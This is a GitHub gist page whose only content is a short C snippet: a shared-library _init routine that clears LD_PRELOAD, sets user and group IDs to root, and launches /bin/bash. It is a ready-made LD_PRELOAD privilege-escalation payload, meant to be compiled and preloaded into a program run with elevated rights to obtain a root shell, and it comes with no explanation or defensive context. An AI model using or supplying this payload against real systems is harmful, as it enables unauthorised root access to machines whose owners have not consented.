Skip to content

Instantly share code, notes, and snippets.

@int0x33
Created March 25, 2019 21:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save int0x33/0d47ee45e0573041b831083d9fe7089b to your computer and use it in GitHub Desktop.
Save int0x33/0d47ee45e0573041b831083d9fe7089b to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment